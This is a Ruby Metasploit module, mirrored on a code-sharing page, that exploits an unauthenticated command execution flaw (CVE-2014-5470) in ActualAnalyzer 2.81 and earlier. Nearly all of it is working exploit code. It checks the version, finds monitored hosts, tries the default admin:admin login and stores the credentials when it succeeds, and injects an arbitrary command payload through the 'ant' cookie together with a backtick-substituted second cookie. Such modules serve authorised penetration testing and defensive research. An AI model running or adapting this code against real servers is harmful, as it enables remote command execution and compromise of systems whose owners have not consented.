Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/unix/webapp/actualanalyzer_ant_cookie_exec.rb
19566 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
9
include Msf::Exploit::Remote::HttpClient
10
11
def initialize(info = {})
12
super(
13
update_info(
14
info,
15
'Name' => "ActualAnalyzer 'ant' Cookie Command Execution",
16
'Description' => %q{
17
This module exploits a command execution vulnerability in
18
ActualAnalyzer version 2.81 and prior.
19
20
The 'aa.php' file allows unauthenticated users to
21
execute arbitrary commands in the 'ant' cookie.
22
},
23
'License' => MSF_LICENSE,
24
'Author' => [
25
'Benjamin Harris', # Discovery and exploit
26
'bcoles' # Metasploit
27
],
28
'References' => [
29
['CVE', '2014-5470'],
30
['EDB', '34450'],
31
['OSVDB', '110601']
32
],
33
'Payload' => {
34
'Space' => 4096, # HTTP cookie
35
'DisableNops' => true,
36
'BadChars' => "\x00"
37
},
38
'Arch' => ARCH_CMD,
39
'Platform' => 'unix',
40
'Targets' => [
41
# Tested on ActualAnalyzer versions 2.81 and 2.75 on Ubuntu
42
['ActualAnalyzer <= 2.81', { 'auto' => true }]
43
],
44
'Privileged' => false,
45
'DisclosureDate' => '2014-08-28',
46
'DefaultTarget' => 0,
47
'Notes' => {
48
'Reliability' => UNKNOWN_RELIABILITY,
49
'Stability' => UNKNOWN_STABILITY,
50
'SideEffects' => UNKNOWN_SIDE_EFFECTS
51
}
52
)
53
)
54
55
register_options(
56
[
57
OptString.new('TARGETURI', [true, 'The base path to ActualAnalyzer', '/lite/']),
58
OptString.new('USERNAME', [true, 'The username for ActualAnalyzer', 'admin']),
59
OptString.new('PASSWORD', [true, 'The password for ActualAnalyzer', 'admin']),
60
OptString.new('ANALYZER_HOST', [false, 'A hostname or IP monitored by ActualAnalyzer', ''])
61
]
62
)
63
end
64
65
#
66
# Checks if target is running ActualAnalyzer <= 2.81
67
#
68
def check
69
# check for aa.php
70
res = send_request_raw('uri' => normalize_uri(target_uri.path, 'aa.php'))
71
if !res
72
vprint_error("Connection failed")
73
return Exploit::CheckCode::Unknown
74
elsif res.code == 404
75
vprint_error("Could not find aa.php")
76
return Exploit::CheckCode::Safe
77
elsif res.code == 200 && res.body =~ /ActualAnalyzer Lite/ && res.body =~ /Admin area<\/title>/
78
vprint_error("ActualAnalyzer is not installed. Try installing first.")
79
return Exploit::CheckCode::Detected
80
end
81
# check version
82
res = send_request_raw('uri' => normalize_uri(target_uri.path, 'view.php'))
83
if !res
84
vprint_error("Connection failed")
85
return Exploit::CheckCode::Unknown
86
elsif res.code == 200 && /title="ActualAnalyzer Lite \(free\) (?<version>[\d\.]+)"/ =~ res.body
87
vprint_status("Found version: #{version}")
88
if Rex::Version.new(version) <= Rex::Version.new('2.81')
89
report_vuln(
90
host: rhost,
91
name: self.name,
92
info: "Module #{fullname} detected ActualAnalyzer #{version}",
93
refs: references
94
)
95
return Exploit::CheckCode::Vulnerable
96
end
97
return Exploit::CheckCode::Detected
98
elsif res.code == 200 && res.body =~ /ActualAnalyzer Lite/
99
return Exploit::CheckCode::Detected
100
end
101
Exploit::CheckCode::Safe
102
end
103
104
#
105
# Try to retrieve a valid analytics host from view.php unauthenticated
106
#
107
def get_analytics_host_view
108
analytics_host = nil
109
res = send_request_cgi(
110
'method' => 'POST',
111
'uri' => normalize_uri(target_uri.path, 'view.php'),
112
'vars_post' => {
113
'id_h' => '',
114
'listp' => '',
115
'act_h' => 'vis_int',
116
'oldact' => 'vis_grpg',
117
'tint_h' => '',
118
'extact_h' => '',
119
'home_pos' => '',
120
'act' => 'vis_grpg',
121
'tint' => 'total',
122
'grpg' => '201',
123
'cp_vst' => 'on',
124
'cp_hst' => 'on',
125
'cp_htst' => 'on',
126
'cp_reps' => 'y',
127
'tab_sort' => '1_1'
128
}
129
)
130
if !res
131
vprint_error("Connection failed")
132
elsif /<option value="?[\d]+"?[^>]*>Page: https?:\/\/(?<analytics_host>[^\/^<]+)/ =~ res.body
133
vprint_good("Found analytics host: #{analytics_host}")
134
return analytics_host
135
else
136
vprint_status("Could not find any hosts on view.php")
137
end
138
nil
139
end
140
141
#
142
# Try to retrieve a valid analytics host from code.php unauthenticated
143
#
144
def get_analytics_host_code
145
analytics_host = nil
146
res = send_request_cgi(
147
'uri' => normalize_uri(target_uri.path, 'code.php'),
148
'vars_get' => {
149
'pid' => '1'
150
}
151
)
152
if !res
153
vprint_error("Connection failed")
154
elsif res.code == 200 && /alt='ActualAnalyzer' src='https?:\/\/(?<analytics_host>[^\/^']+)/ =~ res.body
155
vprint_good("Found analytics host: #{analytics_host}")
156
return analytics_host
157
else
158
vprint_status("Could not find any hosts on code.php")
159
end
160
nil
161
end
162
163
#
164
# Try to retrieve a valid analytics host from admin.php with creds
165
#
166
def get_analytics_host_admin
167
analytics_host = nil
168
user = datastore['USERNAME']
169
pass = datastore['PASSWORD']
170
res = send_request_cgi(
171
'method' => 'POST',
172
'uri' => normalize_uri(target_uri.path, 'admin.php'),
173
'vars_post' => {
174
'uname' => user,
175
'passw' => pass,
176
'id_h' => '',
177
'listp' => '',
178
'act_h' => '',
179
'oldact' => 'pages',
180
'tint_h' => '',
181
'extact_h' => '',
182
'param_h' => '',
183
'param2_h' => '',
184
'home_pos' => '',
185
'act' => 'dynhtml',
186
'set.x' => '11',
187
'set.y' => '11'
188
}
189
)
190
if !res
191
vprint_error("Connection failed")
192
elsif res.code == 200 && res.body =~ />Login</
193
vprint_error("Login failed")
194
elsif res.code == 200 && /alt='ActualAnalyzer' src='https?:\/\/(?<analytics_host>[^\/^']+)/ =~ res.body
195
vprint_good("Found analytics host: #{analytics_host}")
196
print_good("Login Successful (#{user}:#{pass})")
197
store_valid_credential(user: user, private: pass)
198
return analytics_host
199
else
200
vprint_error("Could not find any hosts on admin.php")
201
end
202
nil
203
end
204
205
def execute_command(cmd, opts = { analytics_host: vhost })
206
vuln_cookies = %w(anw anm)
207
res = send_request_cgi(
208
'uri' => normalize_uri(target_uri.path, 'aa.php'),
209
'vars_get' => { 'anp' => opts[:analytics_host] },
210
'cookie' => "ant=#{cmd}; #{vuln_cookies.sample}=#{rand(100...999)}.`$cot`"
211
)
212
if !res
213
fail_with(Failure::TimeoutExpired, "#{peer} - Connection timed out")
214
elsif res.code == 302 && res.headers['Content-Type'] =~ /image/
215
print_good("Payload sent successfully")
216
return true
217
elsif res.code == 302 && res.headers['Location'] =~ /error\.gif/
218
vprint_status("Host '#{opts[:analytics_host]}' is not monitored by ActualAnalyzer.")
219
elsif res.code == 200 && res.body =~ /Admin area<\/title>/
220
fail_with(Failure::Unknown, "#{peer} - ActualAnalyzer is not installed. Try installing first.")
221
else
222
fail_with(Failure::Unknown, "#{peer} - Something went wrong")
223
end
224
nil
225
end
226
227
def exploit
228
return unless check == Exploit::CheckCode::Vulnerable
229
230
analytics_hosts = []
231
if datastore['ANALYZER_HOST'].blank?
232
analytics_hosts << get_analytics_host_code
233
analytics_hosts << get_analytics_host_view
234
analytics_hosts << get_analytics_host_admin
235
analytics_hosts << vhost
236
analytics_hosts << '127.0.0.1'
237
analytics_hosts << 'localhost'
238
else
239
analytics_hosts << datastore['ANALYZER_HOST']
240
end
241
analytics_hosts.uniq.each do |host|
242
next if host.nil?
243
244
vprint_status("Trying hostname '#{host}' - Sending payload (#{payload.encoded.length} bytes)...")
245
break if execute_command(payload.encoded, analytics_host: host)
246
end
247
end
248
end
249
250